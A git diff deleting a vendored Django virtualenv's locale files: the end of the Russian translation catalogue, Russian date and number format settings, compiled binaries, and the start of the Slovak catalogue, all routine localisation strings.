- -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s ГБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "п.п." - -msgid "a.m." -msgstr "д.п." - -msgid "PM" -msgstr "ПП" - -msgid "AM" -msgstr "ДП" - -msgid "midnight" -msgstr "полночь" - -msgid "noon" -msgstr "полдень" - -msgid "Monday" -msgstr "Понедельник" - -msgid "Tuesday" -msgstr "Вторник" - -msgid "Wednesday" -msgstr "Среда" - -msgid "Thursday" -msgstr "Четверг" - -msgid "Friday" -msgstr "Пятница" - -msgid "Saturday" -msgstr "Суббота" - -msgid "Sunday" -msgstr "Воскресенье" - -msgid "Mon" -msgstr "Пн" - -msgid "Tue" -msgstr "Вт" - -msgid "Wed" -msgstr "Ср" - -msgid "Thu" -msgstr "Чт" - -msgid "Fri" -msgstr "Пт" - -msgid "Sat" -msgstr "Сб" - -msgid "Sun" -msgstr "Вс" - -msgid "January" -msgstr "Январь" - -msgid "February" -msgstr "Февраль" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Апрель" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июнь" - -msgid "July" -msgstr "Июль" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябрь" - -msgid "October" -msgstr "Октябрь" - -msgid "November" -msgstr "Ноябрь" - -msgid "December" -msgstr "Декабрь" - -msgid "jan" -msgstr "янв" - -msgid "feb" -msgstr "фев" - -msgid "mar" -msgstr "мар" - -msgid "apr" -msgstr "апр" - -msgid "may" -msgstr "май" - -msgid "jun" -msgstr "июн" - -msgid "jul" -msgstr "июл" - -msgid "aug" -msgstr "авг" - -msgid "sep" -msgstr "сен" - -msgid "oct" -msgstr "окт" - -msgid "nov" -msgstr "ноя" - -msgid "dec" -msgstr "дек" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Янв." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Фев." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Март" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Апрель" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Июнь" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Июль" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Сен." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ноя." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дек." - -msgctxt "alt. month" -msgid "January" -msgstr "января" - -msgctxt "alt. month" -msgid "February" -msgstr "февраля" - -msgctxt "alt. month" -msgid "March" -msgstr "марта" - -msgctxt "alt. month" -msgid "April" -msgstr "апреля" - -msgctxt "alt. month" -msgid "May" -msgstr "мая" - -msgctxt "alt. month" -msgid "June" -msgstr "июня" - -msgctxt "alt. month" -msgid "July" -msgstr "июля" - -msgctxt "alt. month" -msgid "August" -msgstr "августа" - -msgctxt "alt. month" -msgid "September" -msgstr "сентября" - -msgctxt "alt. month" -msgid "October" -msgstr "октября" - -msgctxt "alt. month" -msgid "November" -msgstr "ноября" - -msgctxt "alt. month" -msgid "December" -msgstr "декабря" - -msgid "This is not a valid IPv6 address." -msgstr "Значение не является корректным адресом IPv6." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "или" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d год" -msgstr[1] "%(num)d года" -msgstr[2] "%(num)d лет" -msgstr[3] "%(num)d лет" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d месяц" -msgstr[1] "%(num)d месяца" -msgstr[2] "%(num)d месяцев" -msgstr[3] "%(num)d месяцев" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d неделя" -msgstr[1] "%(num)d недели" -msgstr[2] "%(num)d недель" -msgstr[3] "%(num)d недель" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d день" -msgstr[1] "%(num)d дня" -msgstr[2] "%(num)d дней" -msgstr[3] "%(num)d дней" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d час" -msgstr[1] "%(num)d часа" -msgstr[2] "%(num)d часов" -msgstr[3] "%(num)d часов" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d минута" -msgstr[1] "%(num)d минуты" -msgstr[2] "%(num)d минут" -msgstr[3] "%(num)d минут" - -msgid "Forbidden" -msgstr "Ошибка доступа" - -msgid "CSRF verification failed. Request aborted." -msgstr "Ошибка проверки CSRF. Запрос отклонён." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Вы видите это сообщение потому что этот сайт работает по защищённому " -"протоколу HTTPS и требует, чтобы при запросе вашим браузером был передан " -"заголовок \"Referer\", но он не был передан. Этот заголовок необходим из " -"соображений безопасности: мы должны убедиться что запрос оправляете именно " -"вы." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Если вы настроили свой браузер таким образом, чтобы запретить ему передавать " -"заголовок “Referer”, пожалуйста, разрешите ему отсылать данный заголовок по " -"крайней мере для данного сайта, или для всех HTTPS-соединений, или для " -"запросов, домен и порт назначения совпадают с доменом и портом текущей " -"страницы." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Если Вы используете HTML-тэг или добавили HTTP-заголовок “Referrer-Policy: no-referrer”, " -"пожалуйста удалите их. CSRF защите необходим заголовок “Referer” для строгой " -"проверки адреса ссылающейся страницы. Если Вы беспокоитесь о приватности, " -"используйте альтернативы, например , для ссылок на " -"сайты третьих лиц." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Вы видите это сообщение, потому что данный сайт требует, чтобы при отправке " -"форм была отправлена и CSRF-cookie. Данный тип cookie необходим по " -"соображениям безопасности, чтобы убедиться, что ваш браузер не был взломан и " -"не выполняет от вашего лица действий, запрограммированных третьими лицами." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Если в вашем браузере отключены cookie, пожалуйста, включите эту функцию " -"вновь, по крайней мере для этого сайта, или для \"same-orign\" запросов." - -msgid "More information is available with DEBUG=True." -msgstr "" -"В отладочном режиме доступно больше информации. Включить отладочный режим " -"можно, установив значение переменной DEBUG=True." - -msgid "No year specified" -msgstr "Не указан год" - -msgid "Date out of range" -msgstr "Дата выходит за пределы диапазона" - -msgid "No month specified" -msgstr "Не указан месяц" - -msgid "No day specified" -msgstr "Не указан день" - -msgid "No week specified" -msgstr "Не указана неделя" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s не доступен" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Будущие %(verbose_name_plural)s недоступны, потому что %(class_name)s." -"allow_future выставлен в значение \"Ложь\"." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Не удалось распознать строку с датой “%(datestr)s”, в заданном формате " -"“%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Не найден ни один %(verbose_name)s, соответствующий запросу" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Номер страницы не содержит особое значение “last” и его не удалось " -"преобразовать к целому числу." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Неправильная страница (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" -"Список пуст, но “%(class_name)s.allow_empty” выставлено в значение \"Ложь\", " -"что запрещает показывать пустые списки." - -msgid "Directory indexes are not allowed here." -msgstr "Просмотр списка файлов директории здесь не разрешен." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” не существует" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Список файлов директории %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Установка прошла успешно! Поздравляем!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Посмотреть примечания к выпуску для Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Вы видите данную страницу, потому что указали DEBUG=True в файле настроек и не настроили ни одного " -"обработчика URL-адресов." - -msgid "Django Documentation" -msgstr "Документация Django" - -msgid "Topics, references, & how-to’s" -msgstr "Разделы, справочник, & примеры" - -msgid "Tutorial: A Polling App" -msgstr "Руководство: Приложение для голосования" - -msgid "Get started with Django" -msgstr "Начало работы с Django" - -msgid "Django Community" -msgstr "Сообщество Django" - -msgid "Connect, get help, or contribute" -msgstr "Присоединяйтесь, получайте помощь или помогайте в разработке" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ru/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ru/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ru/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ru/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index efbfefc1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ru/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ru/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ru/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 5c82ceec..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ru/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ru/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ru/formats.py deleted file mode 100644 index 212e5267..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ru/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j E Y г." -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j E Y г. G:i" -YEAR_MONTH_FORMAT = "F Y г." -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/sk/LC_MESSAGES/django.mo deleted file mode 100644 index ddfe767c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/sk/LC_MESSAGES/django.po deleted file mode 100644 index e245cb14..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sk/LC_MESSAGES/django.po +++ /dev/null @@ -1,1394 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Adam Zahradník, 2023-2024 -# Jannis Leidel , 2011 -# 18f25ad6fa9930fc67cb11aca9d16a27, 2012-2013 -# Marian Andre , 2013,2015,2017-2018 -# 29cf7e517570e1bc05a1509565db92ae_2a01508, 2011 -# Martin Tóth , 2017,2023 -# Miroslav Bendik , 2023 -# Peter Kuma, 2021 -# Peter Stríž , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 06:49+0000\n" -"Last-Translator: Adam Zahradník, 2023-2024\n" -"Language-Team: Slovak (http://app.transifex.com/django/django/language/sk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sk\n" -"Plural-Forms: nplurals=4; plural=(n % 1 == 0 && n == 1 ? 0 : n % 1 == 0 && n " -">= 2 && n <= 4 ? 1 : n % 1 != 0 ? 2: 3);\n" - -msgid "Afrikaans" -msgstr "afrikánsky" - -msgid "Arabic" -msgstr "arabský" - -msgid "Algerian Arabic" -msgstr "alžírsky arabsky" - -msgid "Asturian" -msgstr "astúrsky" - -msgid "Azerbaijani" -msgstr "azerbajdžansky" - -msgid "Bulgarian" -msgstr "bulharsky" - -msgid "Belarusian" -msgstr "bielorusky" - -msgid "Bengali" -msgstr "bengálsky" - -msgid "Breton" -msgstr "bretónsky" - -msgid "Bosnian" -msgstr "bosniansky" - -msgid "Catalan" -msgstr "katalánsky" - -msgid "Central Kurdish (Sorani)" -msgstr "stredná kurdčina (Sorani)" - -msgid "Czech" -msgstr "česky" - -msgid "Welsh" -msgstr "walesky" - -msgid "Danish" -msgstr "dánsky" - -msgid "German" -msgstr "nemecky" - -msgid "Lower Sorbian" -msgstr "dolnolužická srbčina" - -msgid "Greek" -msgstr "grécky" - -msgid "English" -msgstr "anglicky" - -msgid "Australian English" -msgstr "austrálskou angličtinou" - -msgid "British English" -msgstr "britskou angličtinou" - -msgid "Esperanto" -msgstr "esperantsky" - -msgid "Spanish" -msgstr "španielsky" - -msgid "Argentinian Spanish" -msgstr "argentínska španielčina" - -msgid "Colombian Spanish" -msgstr "kolumbijská španielčina" - -msgid "Mexican Spanish" -msgstr "mexická španielčina" - -msgid "Nicaraguan Spanish" -msgstr "nikaragujská španielčina" - -msgid "Venezuelan Spanish" -msgstr "venezuelská španielčina" - -msgid "Estonian" -msgstr "estónsky" - -msgid "Basque" -msgstr "baskicky" - -msgid "Persian" -msgstr "perzsky" - -msgid "Finnish" -msgstr "fínsky" - -msgid "French" -msgstr "francúzsky" - -msgid "Frisian" -msgstr "frízsky" - -msgid "Irish" -msgstr "írsky" - -msgid "Scottish Gaelic" -msgstr "škótska gaelčina" - -msgid "Galician" -msgstr "galícijsky" - -msgid "Hebrew" -msgstr "hebrejsky" - -msgid "Hindi" -msgstr "hindsky" - -msgid "Croatian" -msgstr "chorvátsky" - -msgid "Upper Sorbian" -msgstr "hornolužická srbčina" - -msgid "Hungarian" -msgstr "maďarsky" - -msgid "Armenian" -msgstr "arménsky" - -msgid "Interlingua" -msgstr "interlinguánsky" - -msgid "Indonesian" -msgstr "indonézsky" - -msgid "Igbo" -msgstr "igbožsky" - -msgid "Ido" -msgstr "ido" - -msgid "Icelandic" -msgstr "islandsky" - -msgid "Italian" -msgstr "taliansky" - -msgid "Japanese" -msgstr "japonsky" - -msgid "Georgian" -msgstr "gruzínsky" - -msgid "Kabyle" -msgstr "kabylsky" - -msgid "Kazakh" -msgstr "kazašsky" - -msgid "Khmer" -msgstr "kmérsky" - -msgid "Kannada" -msgstr "kannadsky" - -msgid "Korean" -msgstr "kórejsky" - -msgid "Kyrgyz" -msgstr "kirgizsky" - -msgid "Luxembourgish" -msgstr "luxembursky" - -msgid "Lithuanian" -msgstr "litovsky" - -msgid "Latvian" -msgstr "lotyšsky" - -msgid "Macedonian" -msgstr "macedónsky" - -msgid "Malayalam" -msgstr "malajalámsky" - -msgid "Mongolian" -msgstr "mongolsky" - -msgid "Marathi" -msgstr "maráthsky" - -msgid "Malay" -msgstr "malajčina" - -msgid "Burmese" -msgstr "barmsky" - -msgid "Norwegian Bokmål" -msgstr "nórsky (Bokmål)" - -msgid "Nepali" -msgstr "nepálsky" - -msgid "Dutch" -msgstr "holandsky" - -msgid "Norwegian Nynorsk" -msgstr "nórsky (Nynorsk)" - -msgid "Ossetic" -msgstr "osetsky" - -msgid "Punjabi" -msgstr "pandžábsky" - -msgid "Polish" -msgstr "poľsky" - -msgid "Portuguese" -msgstr "portugalsky" - -msgid "Brazilian Portuguese" -msgstr "portugalsky (Brazília)" - -msgid "Romanian" -msgstr "rumunsky" - -msgid "Russian" -msgstr "rusky" - -msgid "Slovak" -msgstr "slovensky" - -msgid "Slovenian" -msgstr "slovinsky" - -msgid "Albanian" -msgstr "albánsky" - -msgid "Serbian" -msgstr "srbsky" - -msgid "Serbian Latin" -msgstr "srbsky (Latin)" - -msgid "Swedish" -msgstr "švédsky" - -msgid "Swahili" -msgstr "svahilsky" - -msgid "Tamil" -msgstr "tamilsky" - -msgid "Telugu" -msgstr "telugsky" - -msgid "Tajik" -msgstr "tadžiksky" - -msgid "Thai" -msgstr "thajsky" - -msgid "Turkmen" -msgstr "turkménsky" - -msgid "Turkish" -msgstr "turecky" - -msgid "Tatar" -msgstr "tatársky" - -msgid "Udmurt" -msgstr "udmurtsky" - -msgid "Uyghur" -msgstr "ujgursky" - -msgid "Ukrainian" -msgstr "ukrajinsky" - -msgid "Urdu" -msgstr "urdsky" - -msgid "Uzbek" -msgstr "uzbecky" - -msgid "Vietnamese" -msgstr "vietnamsky" - -msgid "Simplified Chinese" -msgstr "čínsky (zjednodušene)" - -msgid "Traditional Chinese" -msgstr "čínsky (tradične)" - -msgid "Messages" -msgstr "Správy" - -msgid "Site Maps" -msgstr "Mapy Sídla" - -msgid "Static Files" -msgstr "Statické Súbory" - -msgid "Syndication" -msgstr "Syndikácia" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Číslo stránky nie je celé číslo" - -msgid "That page number is less than 1" -msgstr "Číslo stránky je menšie ako 1" - -msgid "That page contains no results" -msgstr "Stránka neobsahuje žiadne výsledky" - -msgid "Enter a valid value." -msgstr "Zadajte platnú hodnotu." - -msgid "Enter a valid domain name." -msgstr "Zadajte platný názov domény." - -msgid "Enter a valid URL." -msgstr "Zadajte platnú URL adresu." - -msgid "Enter a valid integer." -msgstr "Zadajte platné celé číslo." - -msgid "Enter a valid email address." -msgstr "Zadajte platnú e-mailovú adresu." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Zadajte platnú skratku pozostávajúcu z písmen, čísel, podčiarkovníkov alebo " -"pomlčiek." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Zadajte platnú skratku pozostávajúcu z písmen Unicode, čísel, " -"podčiarkovníkov alebo pomlčiek." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Zadajte platnú %(protocol)s adresu." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 alebo IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Zadajte len číslice oddelené čiarkami." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Uistite sa, že táto hodnota je %(limit_value)s (je to %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Uistite sa, že táto hodnota je menšia alebo rovná %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Uistite sa, že hodnota je väčšia alebo rovná %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Uistite sa, že táto hodnota je násobkom %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Uistite sa, že táto hodnota je násobkom %(limit_value)s, začínajúc od " -"%(offset)s, t.j. %(offset)s, %(valid_value1)s, %(valid_value2)s, atď." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Uistite sa, že zadaná hodnota má najmenej %(limit_value)d znak (má " -"%(show_value)d)." -msgstr[1] "" -"Uistite sa, že zadaná hodnota má najmenej %(limit_value)d znaky (má " -"%(show_value)d)." -msgstr[2] "" -"Uistite sa, že zadaná hodnota má najmenej %(limit_value)d znakov (má " -"%(show_value)d)." -msgstr[3] "" -"Uistite sa, že zadaná hodnota má najmenej %(limit_value)d znakov (má " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Uistite sa, že táto hodnota má najviac %(limit_value)d znak (má " -"%(show_value)d)." -msgstr[1] "" -"Uistite sa, že táto hodnota má najviac %(limit_value)d znaky (má " -"%(show_value)d)." -msgstr[2] "" -"Uistite sa, že táto hodnota má najviac %(limit_value)d znakov (má " -"%(show_value)d)." -msgstr[3] "" -"Uistite sa, že táto hodnota má najviac %(limit_value)d znakov (má " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Zadajte číslo." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Uistite sa, že nie je zadaných celkovo viac ako %(max)s číslica." -msgstr[1] "Uistite sa, že nie je zadaných celkovo viac ako %(max)s číslice." -msgstr[2] "Uistite sa, že nie je zadaných celkovo viac ako %(max)s číslic." -msgstr[3] "Uistite sa, že nie je zadaných celkovo viac ako %(max)s číslic." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Uistite sa, že nie je zadané viac ako %(max)s desatinné miesto." -msgstr[1] "Uistite sa, že nie sú zadané viac ako %(max)s desatinné miesta." -msgstr[2] "Uistite sa, že nie je zadaných viac ako %(max)s desatinných miest." -msgstr[3] "Uistite sa, že nie je zadaných viac ako %(max)s desatinných miest." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Uistite sa, že nie je zadaných viac ako %(max)s číslica pred desatinnou " -"čiarkou." -msgstr[1] "" -"Uistite sa, že nie sú zadané viac ako %(max)s číslice pred desatinnou " -"čiarkou." -msgstr[2] "" -"Uistite sa, že nie je zadaných viac ako %(max)s číslic pred desatinnou " -"čiarkou." -msgstr[3] "" -"Uistite sa, že nie je zadaných viac ako %(max)s číslic pred desatinnou " -"čiarkou." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Prípona súboru „%(extension)s“ nie je povolená. Povolené prípony sú: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Znaky NULL nie sú povolené." - -msgid "and" -msgstr "a" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s s týmto %(field_labels)s už existuje." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Obmedzenie „%(name)s“ je porušené." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Hodnota %(value)r nie je platná možnosť." - -msgid "This field cannot be null." -msgstr "Toto pole nemôže byť prázdne." - -msgid "This field cannot be blank." -msgstr "Toto pole nemôže byť prázdne." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s s týmto %(field_label)s už existuje." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s musí byť jedinečné pre %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Pole typu: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Hodnota „%(value)s“ musí byť True alebo False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Hodnota „%(value)s“ musí byť True, False alebo None." - -msgid "Boolean (Either True or False)" -msgstr "Logická hodnota (buď True alebo False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Reťazec (až do %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Reťazec (neobmedzený)" - -msgid "Comma-separated integers" -msgstr "Celé čísla oddelené čiarkou" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Hodnota „%(value)s“ má neplatný tvar dátumu. Musí byť v tvare YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Hodnota „%(value)s“ je v správnom tvare (YYYY-MM-DD), ale je to neplatný " -"dátum." - -msgid "Date (without time)" -msgstr "Dátum (bez času)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Hodnota „%(value)s“ má neplatný tvar. Musí byť v tvare YYYY-MM-DD HH:MM[:" -"ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Hodnota „%(value)s“ je v správnom tvare (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]), ale je to neplatný dátum/čas." - -msgid "Date (with time)" -msgstr "Dátum (a čas)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Hodnota „%(value)s“ musí byť desatinné číslo." - -msgid "Decimal number" -msgstr "Desatinné číslo" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Hodnota „%(value)s“ má neplatný tvar. Musí byť v tvare [DD] [[HH:]MM:]ss[." -"uuuuuu]." - -msgid "Duration" -msgstr "Doba trvania" - -msgid "Email address" -msgstr "E-mailová adresa" - -msgid "File path" -msgstr "Cesta k súboru" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Hodnota „%(value)s“ musí byť desatinné číslo." - -msgid "Floating point number" -msgstr "Číslo s plávajúcou desatinnou čiarkou" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Hodnota „%(value)s“ musí byť celé číslo." - -msgid "Integer" -msgstr "Celé číslo" - -msgid "Big (8 byte) integer" -msgstr "Veľké celé číslo (8 bajtov)" - -msgid "Small integer" -msgstr "Malé celé číslo" - -msgid "IPv4 address" -msgstr "IPv4 adresa" - -msgid "IP address" -msgstr "IP adresa" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Hodnota „%(value)s“ musí byť buď None, True alebo False." - -msgid "Boolean (Either True, False or None)" -msgstr "Logická hodnota (buď True, False alebo None)" - -msgid "Positive big integer" -msgstr "Veľké kladné celé číslo" - -msgid "Positive integer" -msgstr "Kladné celé číslo" - -msgid "Positive small integer" -msgstr "Malé kladné celé číslo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Identifikátor (najviac %(max_length)s)" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Hodnota „%(value)s“ má neplatný tvar. Musí byť v tvare HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Hodnota „%(value)s“ je v správnom tvare (HH:MM[:ss[.uuuuuu]]), ale je to " -"neplatný čas." - -msgid "Time" -msgstr "Čas" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Binárne údaje" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "„%(value)s“ nie je platné UUID." - -msgid "Universally unique identifier" -msgstr "Všeobecne jedinečný identifikátor" - -msgid "File" -msgstr "Súbor" - -msgid 